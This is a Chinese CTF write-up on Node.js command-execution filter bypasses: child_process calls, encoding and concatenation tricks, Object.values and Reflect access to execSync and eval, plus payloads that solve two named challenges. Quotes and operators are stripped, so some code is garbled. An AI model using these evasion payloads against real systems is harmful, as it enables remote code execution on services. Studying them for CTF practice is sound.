vue cms 网站开发,什么建站平台好,seo怎么做推广,wordpress绝对路径图片不显示CTF题型 nodejs(1) 命令执行绕过 文章目录 CTF题型 nodejs(1) 命令执行绕过一.nodejs中的命令执行二.nodejs中的命令绕过1.编码绕过2.拼接绕过3.模板字符串4.Obejct.keys5.反射6.过滤中括号的情况典型例题1.[GFCTF 2021]ez_calc2.[西湖论剑 2022]Node Magical Login 一.nodejs中…CTF题型 nodejs(1) 命令执行绕过 文章目录 CTF题型 nodejs(1) 命令执行绕过一.nodejs中的命令执行二.nodejs中的命令绕过1.编码绕过2.拼接绕过3.模板字符串4.Obejct.keys5.反射6.过滤中括号的情况典型例题1.[GFCTF 2021]ez_calc2.[西湖论剑 2022]Node Magical Login 一.nodejs中的命令执行
正常的nodejs中命令执行
require(child_process).execSync(sleep 3);
动态的一种绕过某些限制比如模块缓存或包管理器的限制的方法
global.process.mainModule.constructor._load(child_process).execSync(whoami)
global.process.mainModule.constructor._load来动态导入child_process模块
nodejs中如何访问属性
用 . 访问对象的属性用 [] 访问属性
二.nodejs中的命令绕过
参考https://www.anquanke.com/post/id/237032
回顾一下
命令执行的方式
require(child_process).exec(sleep 3);
require(child_process).execSync(sleep 3);
在Node.js中当使用child_process模块的execSync方法执行一个命令时返回的是一个Buffer而不是一个对象带有stdout属性。因此尝试访问未定义的stdout属性会导致TypeError回显直接用 .toString()方法require(child_process).execFile(/bin/sleep,[3]); //调用某个可执行文件在第二个参数传args
require(child_process).spawn(sleep, [3]);
require(child_process).spawnSync(sleep, [3]);回显用 .stdout.toString() 往往和payload绑定在一起的require(child_process).execFileSync(sleep, [3]);1.编码绕过 16进制绕过 \x61 unicode编码绕过 ”反斜杠u码点” \u0061 base64编码绕过 eval(Buffer.from(Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik,base64).toString())这里是对字符操作就是 被引号或者反引号包裹起来的字符 2.拼接绕过 加号拼接 拼接 concat拼接 exe.concat(cSync)3.模板字符串
nodejs中 等价于 引号
比较特殊的是占位符 ${expression} 可以镶套变量 CTF中可以利用拼接字符串,绕过关键词过滤
${}被包裹
${${return proc}ess}return process4.Obejct.keys 实际上通过require导入的模块是一个Object所以就可以用Object中的方法来操作获取内容。利用Object.values就可以拿到child_process中的各个函数方法再通过数组下标就可以拿到execSync Object.values(require(child_process))[5](curl 127.0.0.1:1234)
等价于nodejs中的命令执行
5.反射
Reflect这个关键字来实现反射调用函数的方式
要得到eval函数可以首先通过Reflect.ownKeys(global)拿到所有函数然后global[Reflect.ownKeys(global).find(xx.includes(eval))]即可得到eval
console.log(Reflect.ownKeys(global)) //返回所有函数
console.log(global[Reflect.ownKeys(global).find(xx.includes(eval))])//得到eval函数
替换成evconsole.log(global[Reflect.ownKeys(global).find(xx.includes(ev))])也是可以的 也可以替换为console.log(global[Reflect.ownKeys(global).find(xx.startsWith(eva))])注意不是startswith
6.过滤中括号的情况
获取到eval的方式是通过global数组其中用到了中括号[]假如中括号被过滤可以用Reflect.get来绕 Reflect.get(target, propertyKey[, receiver])的作用是获取对象身上某个属性的值类似于target[name]Reflect.get(global, Reflect.ownKeys(global).find(x x.includes(eva)))(console.log(\123\););执行任意命令 典型例题
1.[GFCTF 2021]ez_calc 保证字符小写不是admin大写又是ADMIN
考点是toUpperCase函数进行大写转换的时候存在漏洞也就是字符ı会变成I 这两个字符的“大写”是I和S。也就是说ı.toUpperCase() ‘I’“ſ”.toUpperCase() ‘S’。通过这个小特性可以绕过一些限制 同样的K的“小写”字符是k也就是K.toLowerCase() ‘k’. 原理参考P牛文章https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
可以成功登录passwdadmin123usernameadmın
到我们用F12查看源码时 F12获取的是浏览器解析后的源代码可能会包含一些动态生成的内容 会发现泄露的源码 let calc req.body.calc;
let flag false;
//waf
for (let i 0; i calc.length; i) {if (flag || /(flc\..split.some(v v calc[i])) {flag true;calc calc.slice(0, i) * calc.slice(i 1, calc.length);}
}
//截取
calc calc.substring(0, 64);
//去空
calc calc.replace(/\s/g, );calc calc.replace(/\\/g, \\\\);//小明的同学过滤了一些比较危险的东西
while (calc.indexOf(sh) -1) {calc calc.replace(sh, );
}
while (calc.indexOf(ln) -1) {calc calc.replace(ln, );
}
while (calc.indexOf(fs) -1) {calc calc.replace(fs, );
}
while (calc.indexOf(x) -1) {calc calc.replace(x, );
}try {result eval(calc);}
题目给了提示
题目提示
1.别想太复杂试着传传其他数据类型
2.字符串的length和数组的length是不一样的。你能将自己的payload逃逸出来吗。注本题所有可以在本地进行测试 非法字符后的都 替换成 ****
题目暗示传数组 本地测试后发现数组的length是传入的元素个数 在第四个字符发现非法字符但是slice是从第四的元素开始替换
存在逻辑问题可以逃逸前四个字符任意值
会发现可以绕过这个判断实现逃逸 因为禁止了 x 不能有exec
可以用require(child_process).spawn(sleep, [3]);
直接调用 spawnSync(sleep, [3]) 而没有将其结果赋值给一个变量时Node.js 仍然会执行 sleep 命令并等待 3 秒但你不会看到任何输出或结果因为你没有处理这个返回的对象
将结果输出就可以了就可以看到转圈
calc[]require(child_process).spawnSync(sleep,[3]).stdout.toString();calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[].可以成功执行命令 现在的问题是如何读取flag
可以使用Object.keys方法 等价于execSync
Object.values(require(child_process))[5](sleep$IFS$93)
calc[]Object.values(require(child_process))[5](sleep$IFS$93)calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[].可以成功执行
尝试读取flag 但是execSync一直没有回显,不太清楚为什么
calc[]Object.values(require(child_process))[5](cat$IFS$9/G*).toString();calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[].尝试写入静态文件将flag写入a中
calc[]Object.values(require(child_process))[5](cat$IFS$9/G*a).toString();calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[].利用require(child_process).spawnSync(nl,[a]).stdout.toString();读文件
calc[]require(child_process).spawnSync(nl,[p]).stdout.toString();calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]1calc[]. 2.[西湖论剑 2022]Node Magical Login
题目给了docker和源码
https://github.com/CTF-Archives/2022-xhlj-web-node_magical_login
登录源码
function LoginController(req,res) {try {const username req.body.usernameconst password req.body.passwordif (username ! admin || password ! Math.random().toString()) {res.status(401).type(text/html).send(Login Failed)} else {res.cookie(user,SECRET_COOKIE)res.redirect(/flag1)}} catch (__) {}
}Math.random().toString()爆破不出了 SECRET_COOKIE在环境变量中也读不到
所以别想伪造了看看其他路由吧
function Flag1Controller(req,res){try {if(req.cookies.user SECRET_COOKIE){res.setHeader(This_Is_The_Flag1,flag1.toString().trim())res.setHeader(This_Is_The_Flag2,flag2.toString().trim())res.status(200).type(text/html).send(Login success. Welcome,admin!)}if(req.cookies.user admin) {res.setHeader(This_Is_The_Flag1, flag1.toString().trim())res.status(200).type(text/html).send(You Got One Part Of Flag! Try To Get Another Part of Flag!)}else{res.status(401).type(text/html).send(Unauthorized)}}catch (__) {}
}只要cookie中useradmin就可以拿第一端flag NSSCTF{bdc4a03a-66cc
function CheckController(req,res) {let checkcode req.body.checkcode?req.body.checkcode:1234;console.log(req.body)if(checkcode.length 16){try{checkcode checkcode.toLowerCase()if(checkcode ! aGr5AtSp55dRacer){res.status(403).json({msg:Invalid Checkcode1: checkcode})}}catch (__) {}res.status(200).type(text/html).json({msg:You Got Another Part Of Flag: flag2.toString().trim()})}else{res.status(403).type(text/html).json({msg:Invalid Checkcode2: checkcode})}
}必须满足两个条件
1.checkcode.length 16
2.抛出异常toLowerCase()本意处理字符串但处理array会异常
re1.body中用json传递checkcode数组 可以得到完整flag
NSSCTF{bdc4a03a-66cc-4ebf-be7f-2b9f57ea7d49}